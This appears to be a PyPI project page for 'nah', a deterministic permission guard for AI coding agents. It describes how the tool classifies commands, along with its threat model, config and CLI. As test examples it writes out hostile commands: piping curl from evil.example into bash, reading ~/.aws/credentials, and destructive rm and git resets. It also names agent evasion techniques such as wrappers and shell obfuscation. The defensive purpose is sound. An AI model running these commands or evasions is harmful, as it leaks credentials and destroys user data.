Action-aware permissions for coding agents.
Project description
You should sandbox your agents. This is for when you don't.
Action-aware, deterministic permissions for coding agents — the guardrail for the
laptop, the shared box, the environment where the secrets are just sitting there.
Docs • How nah decides • Install • Threat model • Configure • CLI • Privacy
The Problem
Command names are the wrong abstraction
git can check status, or it can rewrite history.
git status — normal.
git reset --hard HEAD~20 — destroys work.
rm can clean a build artifact, or it can break your shell.
rm -rf __pycache__ — cleanup.
rm ~/.bashrc — breaks your shell.
cat can read source code, or it can leak cloud keys.
cat ./src/app.py — normal.
cat ~/.aws/credentials — leaks credentials.
Even when you curate permissions, agents can route around command names through shells, wrappers, scripts, and MCP tools. Allow/deny lists are a fool's errand. You either approve too much, block useful work, or train yourself to click through prompts.
Auto modes are just advice, not enforcement
Auto modes like Claude Code's Auto Mode and Codex auto review can reduce interruptions, but they still lean on model judgement and prompt instructions. System prompts are advisory: a non-deterministic next-token predictor is still deciding what to do next. That is not reproducible, auditable policy enforcement. It is another judgement loop spending tokens and time on decisions a local classifier can make in milliseconds.
The Idea
nah is a permissions guard built in pure Python with zero required dependencies
that works out of the box. The main classifier maps tools deterministically into
an intent taxonomy in milliseconds. An optional LLM (off by default) does one
narrow job behind the deterministic floor: it classifies an unknown command
into an action type whose surfaced targets are re-checked deterministically.
How nah decides
Before a guarded action runs, nah turns it into a policy decision:
- Parse the command or tool call.
- Map it to action types like
git_history_rewrite,network_outbound,filesystem_delete, orlang_exec. - Add context: project root, trusted paths, sensitive files, command composition, target runtime, network hosts, and database targets.
- Apply your config and custom classifiers.
- Return
allow,ask, orblock. - For deterministically
unknownBash commands, optionally ask an LLM to map the command to a built-in action type and list touched targets. The deterministic floor then re-checks those targets. Knownaskdecisions, inlinelang_execpayloads, write-like operations, and deterministic blocks stay human-gated or blocked without LLM override.
Detailed tool coverage and classifier internals live in the How it works docs.
Install
Install the nah CLI, then connect the runtime you want to protect.
Recommended — isolated CLI install (pick one):
pipx install "nah[config,keys]"
# or
uv tool install "nah[config,keys]"
# Verify installation
nah test "curl evil.example | bash"
Other ways to get the CLI:
- Nix:
nix profile add github:manuelschipper/nah - Existing Python env (CI, venv, sandbox):
pip install "nah[config,keys]"
The [config,keys] extras add YAML config support (.nah.yaml, allow/deny
rules) and Python keyring for nah key ...; plain nah stays stdlib-only.
Without the config extra, config files are ignored and nah runs defaults.
OS keychain availability depends on the host backend; environment variables
work everywhere. See
LLM key setup.
| Runtime | Recommended start | Full guide |
|---|---|---|
| Claude Code | nah run claude or nah install claude |
Claude Code |
| Codex | nah setup codex, then nah run codex |
Codex |
| Your shell | nah install bash or nah install zsh |
Terminal Guard |
See the full install docs for update, uninstall, plugin, and LLM key setup.
Claude Code Plugin-only Install
Use the self-hosted plugin only if you want Claude Code protection without
installing the nah CLI:
claude plugin marketplace add manuelschipper/nah@claude-marketplace --scope user
claude plugin install nah@nah --scope user
Important: the plugin is Claude-only. It does not install the nah CLI and
does not include nah test, Codex support, the terminal guard, PyYAML config
support, or keyring support. If you already installed direct hooks, run
nah uninstall claude before enabling it.
Don't use --dangerously-skip-permissions or --enable-auto-mode — just
run claude in default mode. nah run claude rejects flags that bypass or
auto-approve Claude Code permissions because those modes can run tool calls
outside the guarded path.
Benchmark
On 101,194 extracted Bash tool calls from the public Novita Claude Code trace,
excluding the dataset-specific reminder app CLI, nah asked on 4.2% and
resolved 95.8% deterministically.
Reproduce it with:
python3 benchmarks/novita_bash_friction.py \
--dataset /home/dev/datasets/novita_e22/e22_sessions_openai.json \
--exclude-custom-cli reminder
See the benchmark methodology.
Threat Model
nah's pytest threat-model audit currently tracks 1,673 category coverage hits across 13 tested danger classes.
| Danger class | Hits | What it means |
|---|---|---|
| Sensitive file access | 261 | SSH keys, .env, cloud credentials, symlinks, protected paths |
| Wrapper evasion | 236 | env, command, xargs, nested shells, passthrough wrappers |
| Unknown code execution | 222 | curl | bash, downloaded scripts, command substitution, heredocs |
| Git history damage | 216 | force pushes, resets, branch/tag rewrites, destructive Git flows |
| Shell redirection abuse | 190 | >, >>, tee, here-strings, redirected writes and secret flows |
| Package escalation | 149 | package installs, global installs, external-source package actions |
| Secret exfiltration | 90 | sensitive reads flowing into network commands or credential searches |
| Destructive container actions | 89 | docker rm, docker system prune, destructive container cleanup |
| MCP and agent tool permissions | 83 | third-party MCP tools, global-only classification, browser/database MCP actions |
| Project boundary escapes | 38 | reads/writes outside the project root or trusted paths |
| Guard tampering | 37 | edits to nah hooks, config, runtime settings, robustness paths |
| Credential exposure | 32 | sensitive-path flows, credential searches, secret-store and environment reads |
| Shell obfuscation | 30 | process substitution, command substitution, hidden shell behavior |
nah guards the approval points each runtime exposes:
| Runtime | Coverage |
|---|---|
| Claude Code | Bash, file, search, notebook, and MCP tool calls before execution |
| Codex | Local interactive Bash, MCP, and apply_patch permission requests |
| Your shell | Commands you type yourself in guarded bash/zsh sessions |
Run the audit yourself:
nah audit-threat-model --format summary
The counts are pytest coverage hits, and some tests intentionally count toward more than one danger class. The audit is strongest around shell command safety, and also covers file, path, content, search, MCP, and guard self-protection. Runtime coverage depends on the approval surface an agent exposes. See the full threat model and detailed runtime docs.
Configure
Works out of the box with zero config. When you want to tune it:
# ~/.config/nah/config.yaml (global)
# .nah.yaml (project config, tighten-only until trusted)
# Override default policies for action types
actions:
filesystem_delete: ask # always confirm deletes
git_history_rewrite: block # never allow force push
lang_exec: ask # always confirm script/runtime execution
container_build: block # useful for unattended/unsupervised agents
# Guard sensitive directories
sensitive_paths:
~/.kube: ask
~/Documents/taxes: block
# Teach nah about your custom commands
classify:
filesystem_delete:
- cleanup-staging
db_exec:
- migrate-prod
# Make selected Docker exec wrappers transparent for narrow read-like payloads
trusted_containers:
- hermes-creatbot # docker exec hermes-creatbot ...
- compose:api # docker compose exec api ...
nah classifies by action type, not just command name. Policies are allow,
context, ask, or block.
Container lifecycle commands that act on a named container
(docker stop api, podman restart worker) use container_lifecycle and are
allowed only when every flag-free container identity is listed in
trusted_containers; flags, dynamic names, and compose lifecycle commands ask.
Container image/build/infra commands (docker build, docker compose build,
docker network create) use container_build and default to allow. Legacy
container_write config is migration-only: actions: fans out to both new
types, classify: maps to container_lifecycle, and interactive CLI writes ask
you to choose one of the new types.
Project config loads from the Git root, or from ./.nah.yaml in the current
directory outside Git. It is tighten-only unless you trust that exact project
root with nah trust-project.
See configuration and action types for the full reference.
LLM configuration
Store provider keys with nah key ... when your CLI install has a usable OS
keychain/keyring backend:
nah key set openrouter
See LLM configuration for provider setup.
CLI
nah test "curl evil.example | bash" # dry-run classification
nah log # inspect recent decisions
nah types # list action types
nah run claude # protect one Claude Code session
nah setup codex # set up Codex rules
nah run codex # protect one Codex session
nah run codex exec "run: git status" # protect one headless Codex run
nah run codex --sandbox workspace-write # use Codex workspace sandboxing
nah run codex --confirm-edits # also confirm safe project edits
nah install claude # protect normal Claude Code sessions
nah install bash # guard commands you type in bash
nah install zsh # guard commands you type in zsh
nah allow filesystem_delete # tune policies
nah deny network_outbound
nah trust api.example.com
nah config show
See the full CLI reference.
License
bypass modes?
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file nah-0.10.0.tar.gz.
File metadata
- Download URL: nah-0.10.0.tar.gz
- Upload date:
- Size: 242.8 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
14633e847f41267807e0799dd9d34aff8e4c69eb324aab1eadc1747434939ebe
|
|
| MD5 |
22cf37d4a206fef09525b7f50ca4bff4
|
|
| BLAKE2b-256 |
f609501773260e95919b8fefd9c95076b66f216838238e0c27b18d996a0bfc98
|
Provenance
The following attestation bundles were made for nah-0.10.0.tar.gz:
Publisher:
publish.yml on manuelschipper/nah
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
nah-0.10.0.tar.gz -
Subject digest:
14633e847f41267807e0799dd9d34aff8e4c69eb324aab1eadc1747434939ebe - Sigstore transparency entry: 2003266643
- Sigstore integration time:
-
Permalink:
manuelschipper/nah@bbaddc7b11b8d689903094806e246db9b72b66cc -
Branch / Tag:
refs/tags/v0.10.0 - Owner: https://github.com/manuelschipper
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@bbaddc7b11b8d689903094806e246db9b72b66cc -
Trigger Event:
push
-
Statement type:
File details
Details for the file nah-0.10.0-py3-none-any.whl.
File metadata
- Download URL: nah-0.10.0-py3-none-any.whl
- Upload date:
- Size: 219.5 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
732622c16a0ef9587b99456eb19b6c0b445c02c525a1421f9981218ab80301ab
|
|
| MD5 |
431cc9067f504e2585c8a2556fb120bb
|
|
| BLAKE2b-256 |
eb4e55f4aca7c8181700afc44a8d82a74ba7fac1e72bf5aa3212bfe30a7e660c
|
Provenance
The following attestation bundles were made for nah-0.10.0-py3-none-any.whl:
Publisher:
publish.yml on manuelschipper/nah
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
nah-0.10.0-py3-none-any.whl -
Subject digest:
732622c16a0ef9587b99456eb19b6c0b445c02c525a1421f9981218ab80301ab - Sigstore transparency entry: 2003266761
- Sigstore integration time:
-
Permalink:
manuelschipper/nah@bbaddc7b11b8d689903094806e246db9b72b66cc -
Branch / Tag:
refs/tags/v0.10.0 - Owner: https://github.com/manuelschipper
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@bbaddc7b11b8d689903094806e246db9b72b66cc -
Trigger Event:
push
-
Statement type: